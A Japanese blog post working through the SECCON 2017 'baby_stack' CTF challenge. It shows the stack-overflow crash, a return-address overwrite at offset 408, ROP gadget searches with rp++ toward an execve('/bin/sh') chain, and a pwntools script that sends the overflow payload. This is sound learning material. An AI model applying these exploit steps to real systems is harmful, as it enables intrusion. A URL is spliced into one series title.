前回 は、x86-64 ELF(Linux)のアセンブラを簡単なプログラムで理解しました。
本当は、先に今回の記事を書くつもりだったのですが、x86-64 ELF(Linux)のアセンブラが分からないと全然進まなかったので、前回の記事をはさみました。
今回は「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」で扱っている Pwnable の問題について、書籍を見ながら、実際に動かして、理解してみたいと思います。
それでは、やっていきます。
- 参考文献
- はじめに
- baby_stackの環境構築
- baby_stackをローカルで簡単に動かしてみる
- Ghidraでソースコードを見てみる
- スタックバッファオーバーフローを利用して戻りアドレスを上書きする
- checksecツールで脆弱性緩和技術を調べる
- ROPガジェットを探すツールのrp++を使ってシェルを起動するコードを作る
- Exploitの実装を補助するPythonライブラリpwntoolsを使って実装する
- おわりに
参考文献
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(この記事はクリア状況を随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる ← 今回
「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」(以下、参考文献)の Pwnable 問題で扱っているのは、SECCON 2017 オンライン予選で出題された問題で、「baby_stack」という問題です。
以下は、参考文献のサポートサイトです。問題ファイルがダウンロードできます。ch6/baby_stack.zip が今回の対象の問題です。
環境は、VirtualBox+ParrotOS 6.1 です。
それでは、やっていきます。
baby_stackの環境構築
上のURL から、問題文をダウンロードすると、baby_stack のファイルを入手することが出来ます。
「ch6/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8」ですが、ファイル名が長いので、「baby_stack」にファイル名を変更しました。
あとは、お題が書かれている「question.txt」を見てみます。伝統的なスタック攻撃ができるか?と書かれています。
$ cat question.txt Baby Stack Can you do a traditional stack attack? Host : baby_stack.pwn.seccon.jp Port : 15285 baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
「baby_stack」ファイルと同じディレクトリに「ch6/baby_stack/flag.txt」を置いておきます。socatコマンドを使うことで、大会と同じ環境が構築できるようです。socatコマンドは、ParrotOS に最初から入っていました。
以下で、「baby_stack」が起動できます。fork, の後に、半角スペースが必要です。
起動したら、ターミナルに制御が返ってこないので、別のターミナルで lsofコマンドを使って、baby_stack が LISTEN してるかどうかを確認しました。正しく動いているようです。
$ socat tcp-listen:15285,reuseaddr,fork, EXEC:"./baby_stack" $ lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME socat 1868 user 5u IPv4 36345 0t0 TCP *:15285 (LISTEN)
この環境は、すぐには使いません。最後は、baby_stack と通信してフラグを獲得することを目指すのですが、まずは、ローカルで baby_stack を動かします。例えば、baby_stack は、以下のように動作します。
まず、名前を聞かれます。名前を入力して、リターンキーを押すと、今度は、メッセージを要求されます。メッセージを入力して、リターンキーを押すと、「Thank you」と、自分の入力したメッセージが表示されます。
$ ./baby_stack Please tell me your name >> daisuke Give me your message >> test Thank you, daisuke! msg : test
環境構築は以上です。
baby_stackをローカルで簡単に動かしてみる
まずは、baby_stack を簡単に調べます。x86 の 64bitプログラムで、デバッグ情報が付いています(シンボルが残ってる)。
$ file baby_stack baby_stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=bcdb5e02c0606a4c9dd06d1e0dc56dc8564db722, with debug_info, not stripped
次に、スタック攻撃ということなので、スタックバッファオーバーフローを狙って、名前とメッセージの 2つの入力に対して、想定されている以上の長さの文字列を与えてみます。何文字を与えたかを、後で分からなくならないように、Python で文字列を作っておきます。
2個目のメッセージの入力でプログラムがクラッシュしました。最後の行で、Go言語で作られたプログラムであることが分かります。
$ python -c "print('A' * 200)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ ./baby_stack Please tell me your name >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA panic: runtime error: growslice: cap out of range goroutine 1 [running]: panic(0x4e4800, 0xc82000a160) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 fmt.(*fmt).padString(0xc820078ef8, 0x4141414141414141, 0x4141414141414141) /usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fmt.(*fmt).fmt_s(0xc820078ef8, 0x4141414141414141, 0x4141414141414141) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fmt.(*pp).fmtString(0xc820078ea0, 0x4141414141414141, 0x4141414141414141, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fmt.(*pp).printArg(0xc820078ea0, 0x4c1c00, 0xc82000a140, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fmt.(*pp).doPrintf(0xc820078ea0, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fmt.Fprintf(0x7fe5a859e1c0, 0xc820082008, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fmt.Printf(0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x20, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e
私は、Go言語は使ったことはありませんが、最近よく使われている印象なので、いつかやってみようと思います。
Ghidraでソースコードを見てみる
参考文献では、IDA Pro を使っていますが、ここでは Ghidra を使ってソースコードを見てみます。IDA のフリー版を使う方法もありますが、フリー版は ARM に対応してなかったと思うので、まずは、Ghidra を使います。
Ghidra の環境構築と使い方については、以下で書いてるので参考にしてください。
daisuke20240310.hatenablog.com
daisuke20240310.hatenablog.com
Windows で Ghidra を起動して、プロジェクト名を「baby_stack」としてプロジェクトを作成します。baby_stack をインポートして解析を実行します。
私は、最初に Symbol Tree から見るのですが、Go言語だからなのか、Imports がうまく開けません。Exports を開くと、多すぎて見れないです。
次に、Functions を見ると、ma の下に、main関数らしいものが並んでいます。参考文献によると、Go言語では、main_main が、通常の main関数に相当するとのことです。うーん、main.main関数はありますが、main_main関数はありません。Ghidra だから参考文献と違うのかと思いましたが、stringsコマンドで main で grep しましたが、main_main はありませんでした。誤植かもしれませんね。
では、main.main関数を見てみます。

ちょっと長いですが、main.main関数を貼ります。
ざっと眺めたところ、bufio.(*Scanner).Scan(); というのが 2回出てきます。また、どちらも、その直前には、fmt.Printf(); とあります。これがそれぞれの入力を要求する文字列の表示と、入力待ちの処理かもしれません。
あと、Please tell me your name >> と Give me your message >> という文字列があるはずなので、Ghidra の Window → Defined Strings を開いて、Please tell me your name >> を検索してみます。
見つかったのでクリックすると、定義されている場所が表示されます。XREF を見ると、main.main関数の 2か所から参照されています。1つ目をクリックすると、FUN_00455e6a関数が表示されます。すぐ近くに、もう1か所もあり、1つ目の bufio.(*Scanner).Scan(); の前なので、それっぽいです。この関数を tell_me_name と名前を変えておきます。
Give me your message >> の方も検索して、参照元を見ると、2個目の bufio.(*Scanner).Scan(); の前あたりの local_1f0 = (undefined8 **)0x18; と言われます。よく分かりませんが、目印になるように、local_1f0 を local_message と名前を変えておきます。
さらに、入力後に、Thank you と表示されますが、長い文字列を与えると、この文字列が表示される前にクラッシュします。つまり、上の2つの文字列入力の処理と、この Thank you と出力されるまでのどこかでクラッシュしてることになります。
では、Thank you を探します。最後の方でした。local_118 という変数がそれらしいので、この変数を local_thankyou と名前を変更しておきます。
2個目の bufio.(*Scanner).Scan(); と local_thankyou の間を見ていきます。関数っぽいのが、runtime.slicebytetostring();、main.memcpy(__dest,in_RSI,__n);、uVar3 = runtime.slicebytetostring();、runtime.convT2E();、runtime.writebarrierptr();、runtime.convT2E(); と、6つあります。番号を振っておきます。Ghidra ではコメントを入れる機能があるようです。
Ghidra で追加できるコメントの種類は、EOL Comment、Pre Comment、Post Comment、Plate Comment、Repeatable Comment の5種類です。いずれも、アセンブラの方には、いい感じのコメントが作られるんですが、逆コンパイラした C言語のソースの方は、Pre Comment しか表示されないようです。
では、順番に見ていきます。1番目の runtime.slicebytetostring(); です。while文で、ひたすら runtime.morestack_noctxt(); を呼び出しているようですが、よく分かりません。
2番目の main.memcpy(__dest,in_RSI,__n); です。参考文献によると、ここにスタックバッファオーバーフローがあるようです。中に入ると、stdcall とあります。これは Windows API で使われる呼び出し規約らしく、引数は逆順にスタックに積まれるとのことです。
参考文献によると、コピー先のバッファが 32byte しか確保されてないため、スタックバッファオーバーフローが発生するとのことですが、具体的にどこで 32byte が確保されて、とかは、書かれてません。おそらく、だいぶ時間をかけて解析しないといけなさそうです。ここについては、断念します。一応、GDB で追いかけたかったのですが、うまく動きませんでした。おそらく、GDB で動かないように何らかの操作がされてそうです。
void main.main(void) { ulong *puVar1; undefined4 uVar2; uint uVar3; undefined8 uVar4; size_t __n; void *in_RSI; undefined8 **__dest; long in_FS_OFFSET; undefined8 **local_1f0; ulong *local_1e8; ulong local_1e0; undefined8 *local_1d8; undefined8 local_1d0; undefined local_198 [16]; undefined local_188 [16]; undefined8 *local_178; undefined8 local_170; undefined8 local_168; undefined8 *local_160; undefined8 local_158; undefined8 *local_150; undefined8 local_148; undefined8 local_140; undefined8 local_138; undefined8 local_130; undefined8 local_128; ulong local_120; undefined8 *local_118; undefined8 *local_110; undefined8 local_108; long local_100; undefined8 local_f8; undefined8 *local_f0; undefined8 local_e8; undefined8 local_e0; undefined8 local_d8; undefined8 *local_d0; undefined8 local_c8; ulong local_c0; ulong *local_b8; undefined8 local_b0; undefined8 local_a8; ulong local_a0; undefined8 local_98; undefined8 local_90; undefined8 local_88; undefined8 local_80; undefined8 local_78; undefined **local_70; undefined8 local_68; undefined8 uStack_8; while( true ) { if (*(undefined8 ***)(*(long *)(in_FS_OFFSET + -8) + 0x10) < &local_178) break; uStack_8 = 0x4014eb; runtime.morestack_noctxt(); } local_198 = ZEXT816(0); local_188 = ZEXT816(0); local_d0 = (undefined8 *)local_198; if (local_d0 == (undefined8 *)0x0) { local_198._0_4_ = (int)&local_178; } local_c8 = 0x20; local_c0 = 0x20; local_100 = go.itab.*os.File.io.Reader; if (go.itab.*os.File.io.Reader == 0) { local_1f0 = (undefined8 **)&DAT_004dfc00; local_1e8 = (ulong *)&go.itab.*os.File.io.Reader; runtime.typ2Itab(); local_100 = local_1e0; } local_f8 = os.Stdin; uVar4 = os.Stdin; uVar2 = FUN_00455e6a(0,&local_80); // tell_me_name() local_178 = &local_80; if (local_178 == (undefined8 *)0x0) { local_80 = CONCAT44(local_80._4_4_,uVar2); } local_140 = FUN_00455e6a(0,local_178); // tell_me_name local_70 = &bufio.ScanLines.f; local_68 = 0x10000; local_1f0 = (undefined8 **)0x1c; local_1e8 = (ulong *)0x0; local_1e0 = 0; local_1d8 = (undefined8 *)0x0; local_138 = uVar4; local_80 = local_140; local_78 = uVar4; fmt.Printf(); bufio.(*Scanner).Scan(); local_170 = 0; local_168 = 0; if (local_178 == (undefined8 *)0x0) { _DAT_00000000 = 0; } local_1f0 = (undefined8 **)local_178[4]; local_1e8 = (ulong *)local_178[5]; local_1e0 = local_178[6]; runtime.slicebytetostring(); local_110 = local_1d8; local_108 = local_1d0; local_170 = local_1d8; local_130 = local_1d8; local_168 = local_1d0; local_128 = local_1d0; local_1f0 = (undefined8 **)0x18; // local_message local_1e8 = (ulong *)0x0; local_1e0 = 0; local_1d8 = (undefined8 *)0x0; fmt.Printf(); bufio.(*Scanner).Scan(); local_160 = (undefined8 *)0x0; local_158 = 0; if (local_178 == (undefined8 *)0x0) { _DAT_00000000 = 0; } __dest = &local_1f0; local_1f0 = (undefined8 **)local_178[4]; local_1e8 = (ulong *)local_178[5]; local_1e0 = local_178[6]; runtime.slicebytetostring(); // (1) local_110 = local_1d8; local_108 = local_1d0; local_160 = local_1d8; local_150 = local_1d8; local_158 = local_1d0; local_148 = local_1d0; local_1f0 = (undefined8 **)local_1d8; local_1e8 = (ulong *)local_1d0; main.memcpy(__dest,in_RSI,__n); // (2) local_e0 = local_130; local_d8 = local_128; local_1f0 = (undefined8 **)local_d0; local_1e8 = (ulong *)local_c8; local_1e0 = local_c0; uVar3 = runtime.slicebytetostring(); // (3) local_f0 = local_1d8; local_e8 = local_1d0; local_a0 = 0; local_98 = 0; local_90 = 0; local_88 = 0; local_b8 = &local_a0; if (local_b8 == (ulong *)0x0) { local_a0 = (ulong)uVar3; } local_b0 = 2; local_a8 = 2; local_1f0 = (undefined8 **)&local_e0; local_1e8 = (ulong *)0x0; runtime.convT2E(); // (4) puVar1 = local_b8; local_118 = local_1d8; local_120 = local_1e0; *local_b8 = local_1e0; if (runtime.writeBarrier == '\0') { puVar1[1] = (ulong)local_118; } else { local_1f0 = (undefined8 **)local_118; runtime.writebarrierptr(); // (5) } local_1f0 = &local_f0; local_1e8 = (ulong *)0x0; runtime.convT2E(); // (6) local_120 = local_1e0; local_b8[2] = local_1e0; local_118 = local_1d8; if (runtime.writeBarrier == '\0') { local_b8[3] = (ulong)local_1d8; // local_thankyou } else { local_1f0 = (undefined8 **)local_1d8; // local_thankyou runtime.writebarrierptr(); } local_1f0 = (undefined8 **)0x18; local_1e8 = local_b8; local_1e0 = local_b0; local_1d8 = (undefined8 *)local_a8; fmt.Printf(); return; }
スタックバッファオーバーフローを利用して戻りアドレスを上書きする
参考文献によると、main.memcpy関数を呼び出すときに、スタックに戻りアドレスをセットするので、スタックバッファオーバーフローで、その戻りアドレスを上書きすることで、任意のアドレスにジャンプさせることが出来るとあります。
確保された 32byte のバッファ(スタック)から、戻りアドレス(スタック)までには、376byte のアドレスの差があるとのことです。32+376=408byte に余計な文字列を書き、その次の 4byte が戻りアドレスになるので、そこに、まずは適当な値(0x41414141)を書いて動作させてみます。
0x41414141 にジャンプしようとして、無効なアドレスと検知されています。想定した通りに動作してそうです。
これで、0x41414141 をシェルを実行するアドレスに変えることが出来れば、侵入に成功しそうです。
$ python -c 'print("daisuke\n" + "\x00" * 408 + "\x41\x41\x41\x41")' | ./baby_stack Please tell me your name >> Give me your message >> Thank you, ! msg : unexpected fault address 0x41414141 fatal error: fault [signal 0xb code=0x1 addr=0x41414141 pc=0x41414141] goroutine 1 [running]: runtime.throw(0x507550, 0x5) /usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003df00 sp=0xc82003dee8 runtime.sigpanic() /usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003df50 sp=0xc82003df00
checksecツールで脆弱性緩和技術を調べる
以前の記事「入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ - 土日の勉強ノート」でも使ってみた checksec ツールを baby_stack を対象に実行してみます。
一応、公式サイトは以下です。
NX(No Execute)が有効なので、スタック上で実行はできない状況のようです。この場合、ROP(Return Oriented Programming)という手法を使う必要があるとのことです。
$ ../../tools/checksec.sh-2.7.1/checksec --file=./baby_stack RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE N/A N/A 3496 Symbols N/A 0 0 ./baby_stack
ROPガジェットを探すツールのrp++を使ってシェルを起動するコードを作る
ROP とは、「いくつかの命令+ret命令」というコードを複数探してきて、それらを組み合わせて、目的の動作を実現する手法です。
現在、戻りアドレスを自由にできる状況なので、そこに見つけてきたコード(1)のアドレスを書いておき、コード(1)を実行させます。コード(1)が ret命令で戻るときは、先ほどの戻りアドレスの次のアドレスが、コード(1)からの戻りアドレスになります。そこに、コード(2)のアドレスを書いておく、ということを繰り返して、任意のコードを実行することが出来ます。
その細かいコードのことは、ROPガジェットと呼ばれます。それを探してくれるのが、rp++ というツールです。では、実際に今回の状況で、rp++ を使って、任意のコードを実行してみます。
現状は、スタックバッファオーバーフローにより、任意のアドレスにジャンプさせることが出来る状況です。また、スタック領域の 32byte+376byte を自由に作る(先ほどは 0x00 を書いた)ことができる状況です。このスタック領域をうまく使って、シェルを実行することがやりたいことです。
以前の記事(「C言語、アセンブラでシェルを起動するプログラムを作る(ARM64) - 土日の勉強ノート」と「機械語でシェルを起動するプログラムを作る(ARM64) - 土日の勉強ノート」)で、シェルを起動するプログラムを作りました。これと同じことがやりたいわけです。
そのためには、システムコールを実行する execve関数を実行したいところです。x86-64 の場合のシステムコールの呼び出し方法は、第1引数は RDI、第2引数は RSI、第3引数は RDX が使われます。execve関数のシステムコール番号は「0x3b」で、RAX に格納しておきます。
参考書籍に、具体的な実装イメージが以下のように書かれています。
- 第1引数(RDI)に、BSS領域の先頭を指すアドレスを格納して、BSS領域の先頭に、"/bin/sh" を書き込む
- 第2引数(RSI)、第3引数(RDX)に 0 を格納する
- RAX に 0x3b を格納して、システムコール命令を呼び出す
これらを実現するための ROPガジェットを探していきます。
以下は、rp++ の GitHub です。Releases から最新のバージョンをダウンロードします。現在の最新バージョンは、v2.13 で、rp-lin-clang.zip と rp-lin-gcc.zip がありました。とりあえず、gcc の方から試します。
zipファイルを解凍すると、rp-lin というファイルが、1つだけ入っていました。とにかく使ってみます。まず、RDI を pop(スタックから取得する)する ROPガジェットを探します。理想的には、pop rdi; ret; です。
-f で、対象のプログラムを指定し、-r で、命令数を指定します。命令数はなるべく少ない方が使いやすいです(余計な命令が入らないため)。-r 3 としてみました。ret命令以外に、3個の命令という条件で探してくれるようです。3件ヒットしました。
まず、余計な命令が1つだけの3件目を確認します。命令の意味は、Claude(ChatGPT は新バージョンがどうのこうの言われたので)に聞きます。cl は RCX の最下位バイトのことでした。RAX さえケアすれば問題ないと判断します。
$ ../../tools/rp-lin -f ./baby_stack -r 3 | grep 'pop rdi' 0x44a282: pop rdi ; adc eax, 0x24448900 ; and byte [rcx], bh ; ret ; (1 found) 0x42274f: pop rdi ; add byte [rax], al ; add rsp, 0x20 ; ret ; (1 found) 0x470931: pop rdi ; or byte [rax+0x39], cl ; ret ; (1 found)
次に、RAX をケアするために、pop rax を探します。-r 3 で検索したところ、たくさんの pop rax; ret; がヒットしたので、一部だけ貼ります。どれを使っても同じです。
0x4016ea: pop rax ; ret ; (1 found) 0x4016f4: pop rax ; ret ; (1 found) 0x402bf3: pop rax ; ret ; (1 found) 0x407db9: pop rax ; ret ; (1 found)
先に、レジスタを自由に設定できるものから探します。次は、pop rsi を探します。これも一部だけ貼ります。いいのが見つかりました。
$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'pop rsi' 0x46defd: pop rsi ; ret ; (1 found) 0x412a89: pop rsi ; retn 0x0FF2 ; (1 found) 0x412aa0: pop rsi ; retn 0x0FF2 ; (1 found) 0x415785: pop rsi ; retn 0x0FF2 ; (1 found) 0x41579c: pop rsi ; retn 0x0FF2 ; (1 found)
pop rdx を探します。ret命令ではなく、retn 0x0FF2 が見つかりました。Claude に聞いたところ、スタックを適切に調整するとのことで、ちょっと使いにくいです。-r 2 に範囲を広げて探します(-r 1 でヒットしたものは省いてます)。3番目にヒットしたものが RDI と同じ感じなので使いやすそうです。
$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'pop rdx' 0x4599ca: pop rdx ; retn 0x0FF2 ; (1 found) 0x482b8c: pop rdx ; retn 0x0FF2 ; (1 found) 0x460fe0: pop rdx ; retn 0x0FF3 ; (1 found) 0x48594a: pop rdx ; retn 0x0FF3 ; (1 found) 0x4887d3: pop rdx ; retn 0x0FF3 ; (1 found) $ ../../tools/rp-lin -f ./baby_stack -r 2 | grep 'pop rdx' 0x46ec93: pop rdx ; adc byte [rax-0x01], cl ; ret ; (1 found) 0x46ec9f: pop rdx ; adc byte [rax-0x01], cl ; ret ; (1 found) 0x4a247c: pop rdx ; or byte [rax-0x77], cl ; ret ; (1 found) 0x47b1fb: pop rdx ; push rax ; call rbx ; (1 found) 0x47b435: pop rdx ; push rax ; call rbx ; (1 found) 0x47b485: pop rdx ; push rax ; call rbx ; (1 found)
以上で、レジスタは自由に設定できそうなので、残りは、システムコールの呼び出しと、"/bin/sh" を BSS領域に書き込む命令を探します。まず、システムコールの呼び出しはたくさんヒットしたので、一部だけ貼ります。次に、BSS領域に書き込む命令は、Ghidra で逆アセンブラを見ながら考えます。mov qword で検索します。たくさんヒットした中で、使う予定のレジスタだけで構成されたものがあったので、それだけ貼ります。
$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'syscall' 0x456889: syscall ; ret ; (1 found) 0x4569a2: syscall ; ret ; (1 found) 0x4569c2: syscall ; ret ; (1 found) 0x4569e3: syscall ; ret ; (1 found) 0x456c55: syscall ; ret ; (1 found) 0x456d85: syscall ; ret ; (1 found) $ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'mov qword' 0x456499: mov qword [rdi], rax ; ret ; (1 found) 0x456828: mov qword [rdi], rax ; ret ; (1 found)
これで、実現するために必要な ROPガジェットは揃いました。
Exploitの実装を補助するPythonライブラリpwntoolsを使って実装する
参考書籍では、侵入、シェルの起動までを、Exploitコードとして、Pythonスクリプトでいきなり実装されていますが、こちらでは、まずは、ローカルの「baby_stack」を対象にして、Exploitコードを実装していきます。
Exploitコードの実装に便利な Python ライブラリの「pwntools」を使っていきます。公式サイトは以下です。普通に pip でインストールできそうです。
インストールします。成功しました。
$ pip install pwntools Successfully installed MarkupSafe-2.1.5 bcrypt-4.2.0 capstone-5.0.3 colored-traceback-0.4.2 intervaltree-3.1.0 mako-1.3.5 packaging-24.1 paramiko-3.4.1 plumbum-1.8.3 pwntools-4.13.0 pyelftools-0.31 pygments-2.18.0 pynacl-1.5.0 pyserial-3.5 pysocks-1.7.1 python-dateutil-2.9.0.post0 ropgadget-7.4 rpyc-6.0.0 sortedcontainers-2.4.0 unicorn-2.0.1.post1 unix-ar-0.2.1 zstandard-0.23.0
200文字の「A」を与えるスクリプト
まずは、2つ目の入力に、200文字の「A」を与えるスクリプトを書きました。これをベースにやっていきます。
import os, sys import argparse import logging from pwn import * def main( args ): if args.ope is None: proc = prologue( args.prog ) check_sof( proc ) elif args.ope == "": pass else: raise def prologue( prog ): # baby_stack起動 proc = process( ['sh', '-c', prog] ) # "Please tell me your name >> " logging.debug( proc.recv(timeout=1) ) ss = b'daisuke' logging.debug( ss ) proc.sendline( ss ) # "Give me your message >> " logging.debug( proc.recv(timeout=1) ) return proc def check_sof( proc ): ss = b'A' * 200 logging.debug( ss ) proc.sendline( ss ) # receive error logging.debug( proc.recv(timeout=1) ) def parse_args(): parser = argparse.ArgumentParser( description='baby_stack' ) parser.add_argument( '--ope', default=None, help='select operation, [None or ...]' ) parser.add_argument( '--prog', default=0, help='input program path' ) parser.add_argument( '--debug', action='store_true', help='debug' ) return parser.parse_args() if __name__ == '__main__': args = parse_args() print( f"args={args}" ) if args.debug: logname = os.path.basename( sys.argv[0] ) logname = os.path.splitext(logname)[0] + ".log" if os.path.isfile( logname ): os.remove( logname ) logging.basicConfig( level=logging.DEBUG, filename=logname ) else: logging.basicConfig( level=logging.INFO ) main( args )
実行します。想定通りに動いてそうです。
$ python baby_stack.py --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope=None, prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Starting local process '/usr/bin/sh': pid 80957 [*] Stopped process '/usr/bin/sh' (pid 80957) $ cat baby_stack.log INFO:pwnlib.tubes.process.process.140429691903248:Starting local process '/usr/bin/sh' INFO:pwnlib.tubes.process.process.140429691903248:Starting local process '/usr/bin/sh': pid 80957 DEBUG:root:b'Please tell me your name >> ' DEBUG:root:b'daisuke' DEBUG:root:b'Give me your message >> ' DEBUG:root:b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' DEBUG:root:b'panic: runtime error: growslice: cap out of range\n\ngoroutine 1 [running]:\npanic(0x4e4800, 0xc82000a380)\n\t/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6\nfmt.(*fmt).padString(0xc82006efc8, 0x4141414141414141, 0x4141414141414141)\n\t/usr/lib/go-1.6/src/fmt/format.go:130 +0x406\nfmt.(*fmt).fmt_s(0xc82006efc8, 0x4141414141414141, 0x4141414141414141)\n\t/usr/lib/go-1.6/src/fmt/format.go:322 +0x61\nfmt.(*pp).fmtString(0xc82006ef70, 0x4141414141414141, 0x4141414141414141, 0xc800000073)\n\t/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc\nfmt.(*pp).printArg(0xc82006ef70' INFO:pwnlib.tubes.process.process.140429691903248:Stopped process '/usr/bin/sh' (pid 80957)
リターンアドレスに「0x41414141」を上書きするスクリプト
次は、リターンアドレスだけ、「0x41414141」を上書きするスクリプトです。
変更した main関数と、新しく作った overwrite_ret_adrs関数だけ貼ります。
def main( args ): if args.ope is None: proc = prologue( args.prog ) check_sof( proc ) elif args.ope == "overwrite_ret_adrs": proc = prologue( args.prog ) adrs = b'\x41\x41\x41\x41' overwrite_ret_adrs( proc, adrs ) else: raise def overwrite_ret_adrs( proc, adrs ): ss = b'\x00' * 408 + adrs logging.debug( ss ) proc.sendline( ss ) # receive error logging.debug( proc.recv(timeout=1) )
実行します。想定通りに動いてそうです。
$ python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug args=Namespace(ope='overwrite_ret_adrs', prog='../../../SECCON/baby_stack/baby_stack', debug=True) [+] Starting local process '/usr/bin/sh': pid 81006 [*] Stopped process '/usr/bin/sh' (pid 81006) $ cat baby_stack.log INFO:pwnlib.tubes.process.process.140014571198672:Starting local process '/usr/bin/sh' INFO:pwnlib.tubes.process.process.140014571198672:Starting local process '/usr/bin/sh': pid 81006 DEBUG:root:b'Please tell me your name >> ' DEBUG:root:b'daisuke' DEBUG:root:b'Give me your message >> ' 